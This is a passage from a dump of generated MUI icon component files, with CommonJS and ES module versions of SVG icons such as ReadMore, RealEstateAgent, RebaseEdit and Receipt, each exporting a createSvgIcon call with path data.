.62-.23.7-.55l.24-.95h1.75l.23.95c.08.32.37.55.71.55.47 0 .82-.44.71-.9l-.97-3.88C12.87 9.5 12.23 9 11.5 9m-.5 3 .25-1h.5l.25 1zm8.84-2.45-.6 2.45-.56-2.26c-.1-.44-.49-.74-.94-.74s-.84.3-.94.74L16.24 12l-.6-2.45c-.08-.32-.37-.55-.71-.55-.47 0-.82.44-.71.9l1.09 4.38c.12.42.5.72.93.72s.81-.3.92-.72l.58-2.32.58 2.32c.11.42.49.72.92.72s.81-.3.92-.72l1.09-4.38c.12-.46-.23-.9-.7-.9-.34 0-.63.23-.71.55\"\n}), 'RawOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RawOnRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 9H4c-.55 0-1 .45-1 1v4.31c0 .38.31.69.69.69h.11c.38 0 .69-.31.69-.69V13h1.1l.72 1.59c.12.25.37.41.64.41.5 0 .83-.51.64-.97L7.1 12.9c.5-.3.9-.8.9-1.4v-1C8 9.68 7.32 9 6.5 9m0 2.5h-2v-1h2zm5-2.5c-.73 0-1.37.5-1.55 1.21l-.97 3.89c-.12.46.23.9.7.9.33 0 .62-.23.7-.55l.24-.95h1.75l.23.95c.08.32.37.55.71.55.47 0 .82-.44.71-.9l-.97-3.88C12.87 9.5 12.23 9 11.5 9m-.5 3 .25-1h.5l.25 1zm8.84-2.45-.6 2.45-.56-2.26c-.1-.44-.49-.74-.94-.74s-.84.3-.94.74L16.24 12l-.6-2.45c-.08-.32-.37-.55-.71-.55-.47 0-.82.44-.71.9l1.09 4.38c.12.42.5.72.93.72s.81-.3.92-.72l.58-2.32.58 2.32c.11.42.49.72.92.72s.81-.3.92-.72l1.09-4.38c.12-.46-.23-.9-.7-.9-.34 0-.63.23-.71.55\"\n}), 'RawOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RawOnSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 9H3v6h1.5v-2h1.1l.9 2H8l-.9-2.1c.5-.3.9-.8.9-1.4v-1C8 9.7 7.3 9 6.5 9m0 2.5h-2v-1h2zM10.25 9l-1.5 6h1.5l.38-1.5h1.75l.37 1.5h1.5l-1.5-6zm.75 3 .25-1h.5l.25 1zm8.98-3-.74 3-.74-3h-1.52l-.74 3-.74-3H14l1.5 6h1.48l.76-3.04.76 3.04h1.48l1.5-6z\"\n}), 'RawOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RawOnSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 9H3v6h1.5v-2h1.1l.9 2H8l-.9-2.1c.5-.3.9-.8.9-1.4v-1C8 9.7 7.3 9 6.5 9m0 2.5h-2v-1h2zM10.25 9l-1.5 6h1.5l.38-1.5h1.75l.37 1.5h1.5l-1.5-6zm.75 3 .25-1h.5l.25 1zm8.98-3-.74 3-.74-3h-1.52l-.74 3-.74-3H14l1.5 6h1.48l.76-3.04.76 3.04h1.48l1.5-6z\"\n}), 'RawOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RawOnTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.5 9H3v6h1.5v-2h1.1l.9 2H8l-.9-2.1c.5-.3.9-.8.9-1.4v-1C8 9.7 7.3 9 6.5 9m0 2.5h-2v-1h2zM10.25 9l-1.5 6h1.5l.38-1.5h1.75l.37 1.5h1.5l-1.5-6zm.75 3 .25-1h.5l.25 1zm8.98-3-.74 3-.74-3h-1.52l-.74 3-.74-3H14l1.5 6h1.48l.76-3.04.76 3.04h1.48l1.5-6z\"\n}), 'RawOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RawOnTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.5 9H3v6h1.5v-2h1.1l.9 2H8l-.9-2.1c.5-.3.9-.8.9-1.4v-1C8 9.7 7.3 9 6.5 9m0 2.5h-2v-1h2zM10.25 9l-1.5 6h1.5l.38-1.5h1.75l.37 1.5h1.5l-1.5-6zm.75 3 .25-1h.5l.25 1zm8.98-3-.74 3-.74-3h-1.52l-.74 3-.74-3H14l1.5 6h1.48l.76-3.04.76 3.04h1.48l1.5-6z\"\n}), 'RawOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReadMore.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7h9v2h-9zm0 8h9v2h-9zm3-4h6v2h-6zm-3 1L8 7v4H2v2h6v4z\"\n}), 'ReadMore');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReadMore.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7h9v2h-9zm0 8h9v2h-9zm3-4h6v2h-6zm-3 1L8 7v4H2v2h6v4z\"\n}), 'ReadMore');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReadMoreOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7h9v2h-9zm0 8h9v2h-9zm3-4h6v2h-6zm-3 1L8 7v4H2v2h6v4z\"\n}), 'ReadMoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReadMoreOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7h9v2h-9zm0 8h9v2h-9zm3-4h6v2h-6zm-3 1L8 7v4H2v2h6v4z\"\n}), 'ReadMoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReadMoreRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 9h7c.55 0 1-.45 1-1s-.45-1-1-1h-7c-.55 0-1 .45-1 1s.45 1 1 1m7 6h-7c-.55 0-1 .45-1 1s.45 1 1 1h7c.55 0 1-.45 1-1s-.45-1-1-1m0-4h-4c-.55 0-1 .45-1 1s.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1M8.85 7.85c-.31-.31-.85-.09-.85.36V11H3c-.55 0-1 .45-1 1s.45 1 1 1h5v2.79c0 .45.54.67.85.35l3.79-3.79c.2-.2.2-.51 0-.71z\"\n}), 'ReadMoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReadMoreRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 9h7c.55 0 1-.45 1-1s-.45-1-1-1h-7c-.55 0-1 .45-1 1s.45 1 1 1m7 6h-7c-.55 0-1 .45-1 1s.45 1 1 1h7c.55 0 1-.45 1-1s-.45-1-1-1m0-4h-4c-.55 0-1 .45-1 1s.45 1 1 1h4c.55 0 1-.45 1-1s-.45-1-1-1M8.85 7.85c-.31-.31-.85-.09-.85.36V11H3c-.55 0-1 .45-1 1s.45 1 1 1h5v2.79c0 .45.54.67.85.35l3.79-3.79c.2-.2.2-.51 0-.71z\"\n}), 'ReadMoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReadMoreSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7h9v2h-9zm0 8h9v2h-9zm3-4h6v2h-6zm-3 1L8 7v4H2v2h6v4z\"\n}), 'ReadMoreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReadMoreSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7h9v2h-9zm0 8h9v2h-9zm3-4h6v2h-6zm-3 1L8 7v4H2v2h6v4z\"\n}), 'ReadMoreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReadMoreTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7h9v2h-9zm0 8h9v2h-9zm3-4h6v2h-6zm-3 1L8 7v4H2v2h6v4z\"\n}), 'ReadMoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReadMoreTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7h9v2h-9zm0 8h9v2h-9zm3-4h6v2h-6zm-3 1L8 7v4H2v2h6v4z\"\n}), 'ReadMoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RealEstateAgent.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 22h4V11H1zm19-5h-7l-2.09-.73.33-.94L13 16h2.82c.65 0 1.18-.53 1.18-1.18 0-.49-.31-.93-.77-1.11L8.97 11H7v9.02L14 22l8-3c-.01-1.1-.89-2-2-2M14 1.5l-7 5V9h2l8.14 3.26C18.26 12.71 19 13.79 19 15h2V6.5zm-.5 8.5h-1V9h1zm0-2h-1V7h1zm2 2h-1V9h1zm0-2h-1V7h1z\"\n}), 'RealEstateAgent');"
  },
  {
    "path": "packages/mui-icons-material/lib/RealEstateAgent.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 22h4V11H1zm19-5h-7l-2.09-.73.33-.94L13 16h2.82c.65 0 1.18-.53 1.18-1.18 0-.49-.31-.93-.77-1.11L8.97 11H7v9.02L14 22l8-3c-.01-1.1-.89-2-2-2M14 1.5l-7 5V9h2l8.14 3.26C18.26 12.71 19 13.79 19 15h2V6.5zm-.5 8.5h-1V9h1zm0-2h-1V7h1zm2 2h-1V9h1zm0-2h-1V7h1z\"\n}), 'RealEstateAgent');"
  },
  {
    "path": "packages/mui-icons-material/lib/RealEstateAgentOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6.5V14h-2V7.5L14 4 9 7.5V9H7V6.5l7-5zm-5.5.5h-1v1h1zm-2 0h-1v1h1zm2 2h-1v1h1zm-2 0h-1v1h1zm5.5 7h-2c0-1.2-.75-2.28-1.87-2.7L8.97 11H1v11h6v-1.44l7 1.94 8-2.5v-1c0-1.66-1.34-3-3-3M3 20v-7h2v7zm10.97.41L7 18.48V13h1.61l5.82 2.17c.34.13.57.46.57.83 0 0-1.99-.05-2.3-.15l-2.38-.79-.63 1.9 2.38.79c.51.17 1.04.26 1.58.26H19c.39 0 .74.23.9.56z\"\n}), 'RealEstateAgentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RealEstateAgentOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6.5V14h-2V7.5L14 4 9 7.5V9H7V6.5l7-5zm-5.5.5h-1v1h1zm-2 0h-1v1h1zm2 2h-1v1h1zm-2 0h-1v1h1zm5.5 7h-2c0-1.2-.75-2.28-1.87-2.7L8.97 11H1v11h6v-1.44l7 1.94 8-2.5v-1c0-1.66-1.34-3-3-3M3 20v-7h2v7zm10.97.41L7 18.48V13h1.61l5.82 2.17c.34.13.57.46.57.83 0 0-1.99-.05-2.3-.15l-2.38-.79-.63 1.9 2.38.79c.51.17 1.04.26 1.58.26H19c.39 0 .74.23.9.56z\"\n}), 'RealEstateAgentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RealEstateAgentRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 22c1.1 0 2-.9 2-2v-7c0-1.1-.9-2-2-2s-2 .9-2 2v7c0 1.1.9 2 2 2m8.37-5.57 1.47.51q.165.06.33.06H20c1.11 0 2 .89 2.01 2l-7.39 2.77c-.4.15-.84.17-1.25.05L7 20.02V11h1.6c.24 0 .48.04.7.13l6.93 2.59c.46.17.77.61.77 1.11 0 .65-.53 1.18-1.18 1.18h-2.63c-.12 0-.24-.02-.36-.07l-1.12-.43c-.26-.1-.55.04-.64.3-.09.25.04.53.3.62M20.16 5.9l-5-3.57c-.7-.5-1.63-.5-2.32 0l-5 3.57c-.53.38-.84.98-.84 1.63V9h1.61c.25 0 .51.05.74.14l7.79 3.11C18.26 12.71 19 13.79 19 15h2V7.53c0-.65-.31-1.25-.84-1.63M13 10c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m0-2c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m2 2c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m0-2c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5\"\n}), 'RealEstateAgentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RealEstateAgentRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 22c1.1 0 2-.9 2-2v-7c0-1.1-.9-2-2-2s-2 .9-2 2v7c0 1.1.9 2 2 2m8.37-5.57 1.47.51q.165.06.33.06H20c1.11 0 2 .89 2.01 2l-7.39 2.77c-.4.15-.84.17-1.25.05L7 20.02V11h1.6c.24 0 .48.04.7.13l6.93 2.59c.46.17.77.61.77 1.11 0 .65-.53 1.18-1.18 1.18h-2.63c-.12 0-.24-.02-.36-.07l-1.12-.43c-.26-.1-.55.04-.64.3-.09.25.04.53.3.62M20.16 5.9l-5-3.57c-.7-.5-1.63-.5-2.32 0l-5 3.57c-.53.38-.84.98-.84 1.63V9h1.61c.25 0 .51.05.74.14l7.79 3.11C18.26 12.71 19 13.79 19 15h2V7.53c0-.65-.31-1.25-.84-1.63M13 10c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m0-2c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m2 2c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m0-2c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5\"\n}), 'RealEstateAgentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RealEstateAgentSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 22h4V11H1zM14 1.5l-7 5V9h2l10 4v2h2V6.5zm-.5 8.5h-1V9h1zm0-2h-1V7h1zm2 2h-1V9h1zm0-2h-1V7h1zM22 19l-8 3-7-1.98V11h1.97L17 14v2h-4l-1.76-.68-.33.94L13 17h9z\"\n}), 'RealEstateAgentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RealEstateAgentSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 22h4V11H1zM14 1.5l-7 5V9h2l10 4v2h2V6.5zm-.5 8.5h-1V9h1zm0-2h-1V7h1zm2 2h-1V9h1zm0-2h-1V7h1zM22 19l-8 3-7-1.98V11h1.97L17 14v2h-4l-1.76-.68-.33.94L13 17h9z\"\n}), 'RealEstateAgentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RealEstateAgentTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.5 9.44 5.32 1.99c1.24.46 2.21 1.41 2.74 2.57H19V7.5L14 4 9 7.5V9h.33zm4-2.44h1v1h-1zm0 2h1v1h-1zm-2-2h1v1h-1zm0 2h1v1h-1zM3 13h2v7H3zm16.9 5.57-5.93 1.84L7 18.48V13h1.61l5.82 2.17c.34.13.57.46.57.83 0 0-1.99-.05-2.3-.15l-2.38-.79-.63 1.9 2.38.79c.51.17 1.04.26 1.58.26H19c.39 0 .74.23.9.56\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 7h-1v1h1zm-2 0h-1v1h1zm2 2h-1v1h1zm-2 0h-1v1h1zM21 6.5V14h-2V7.5L14 4 9 7.5V9H7V6.5l7-5zM19 16h-2c0-1.2-.75-2.28-1.87-2.7L8.97 11H1v11h6v-1.44l7 1.94 8-2.5v-1c0-1.66-1.34-3-3-3M3 20v-7h2v7zm10.97.41L7 18.48V13h1.61l5.82 2.17c.34.13.57.46.57.83 0 0-1.99-.05-2.3-.15l-2.38-.79-.63 1.9 2.38.79c.51.17 1.04.26 1.58.26H19c.39 0 .74.23.9.56z\"\n}, \"1\")], 'RealEstateAgentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RealEstateAgentTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.5 9.44 5.32 1.99c1.24.46 2.21 1.41 2.74 2.57H19V7.5L14 4 9 7.5V9h.33zm4-2.44h1v1h-1zm0 2h1v1h-1zm-2-2h1v1h-1zm0 2h1v1h-1zM3 13h2v7H3zm16.9 5.57-5.93 1.84L7 18.48V13h1.61l5.82 2.17c.34.13.57.46.57.83 0 0-1.99-.05-2.3-.15l-2.38-.79-.63 1.9 2.38.79c.51.17 1.04.26 1.58.26H19c.39 0 .74.23.9.56\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 7h-1v1h1zm-2 0h-1v1h1zm2 2h-1v1h1zm-2 0h-1v1h1zM21 6.5V14h-2V7.5L14 4 9 7.5V9H7V6.5l7-5zM19 16h-2c0-1.2-.75-2.28-1.87-2.7L8.97 11H1v11h6v-1.44l7 1.94 8-2.5v-1c0-1.66-1.34-3-3-3M3 20v-7h2v7zm10.97.41L7 18.48V13h1.61l5.82 2.17c.34.13.57.46.57.83 0 0-1.99-.05-2.3-.15l-2.38-.79-.63 1.9 2.38.79c.51.17 1.04.26 1.58.26H19c.39 0 .74.23.9.56z\"\n}, \"1\")], 'RealEstateAgentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RebaseEdit.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"19\",\n  cy: \"5\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.76 9.24 15 5 10.76.76 9.34 2.17 11.17 4H7.82C7.4 2.84 6.3 2 5 2 3.34 2 2 3.34 2 5c0 1.3.84 2.4 2 2.82v8.37C2.84 16.6 2 17.7 2 19c0 1.66 1.34 3 3 3s3-1.34 3-3c0-1.3-.84-2.4-2-2.82V7.82c.85-.31 1.51-.97 1.82-1.82h3.36L9.34 7.83zM10 19v3h3l6.26-6.26-3-3zm10.12-8.71a.996.996 0 0 0-1.41 0l-1.38 1.38 3 3 1.38-1.38c.39-.39.39-1.02 0-1.41z\"\n}, \"1\")], 'RebaseEdit');"
  },
  {
    "path": "packages/mui-icons-material/lib/RebaseEdit.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"19\",\n  cy: \"5\",\n  r: \"3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.76 9.24 15 5 10.76.76 9.34 2.17 11.17 4H7.82C7.4 2.84 6.3 2 5 2 3.34 2 2 3.34 2 5c0 1.3.84 2.4 2 2.82v8.37C2.84 16.6 2 17.7 2 19c0 1.66 1.34 3 3 3s3-1.34 3-3c0-1.3-.84-2.4-2-2.82V7.82c.85-.31 1.51-.97 1.82-1.82h3.36L9.34 7.83zM10 19v3h3l6.26-6.26-3-3zm10.12-8.71a.996.996 0 0 0-1.41 0l-1.38 1.38 3 3 1.38-1.38c.39-.39.39-1.02 0-1.41z\"\n}, \"1\")], 'RebaseEdit');"
  },
  {
    "path": "packages/mui-icons-material/lib/Receipt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 17H6v-2h12zm0-4H6v-2h12zm0-4H6V7h12zM3 22l1.5-1.5L6 22l1.5-1.5L9 22l1.5-1.5L12 22l1.5-1.5L15 22l1.5-1.5L18 22l1.5-1.5L21 22V2l-1.5 1.5L18 2l-1.5 1.5L15 2l-1.5 1.5L12 2l-1.5 1.5L9 2 7.5 3.5 6 2 4.5 3.5 3 2z\"\n}), 'Receipt');"
  },
  {
    "path": "packages/mui-icons-material/lib/Receipt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 17H6v-2h12zm0-4H6v-2h12zm0-4H6V7h12zM3 22l1.5-1.5L6 22l1.5-1.5L9 22l1.5-1.5L12 22l1.5-1.5L15 22l1.5-1.5L18 22l1.5-1.5L21 22V2l-1.5 1.5L18 2l-1.5 1.5L15 2l-1.5 1.5L12 2l-1.5 1.5L9 2 7.5 3.5 6 2 4.5 3.5 3 2z\"\n}), 'Receipt');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReceiptLong.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 3.5 18 2l-1.5 1.5L15 2l-1.5 1.5L12 2l-1.5 1.5L9 2 7.5 3.5 6 2v14H3v3c0 1.66 1.34 3 3 3h12c1.66 0 3-1.34 3-3V2zM19 19c0 .55-.45 1-1 1s-1-.45-1-1v-3H8V5h11z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 7h6v2H9zm7 0h2v2h-2zm-7 3h6v2H9zm7 0h2v2h-2z\"\n}, \"1\")], 'ReceiptLong');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReceiptLong.mjs",
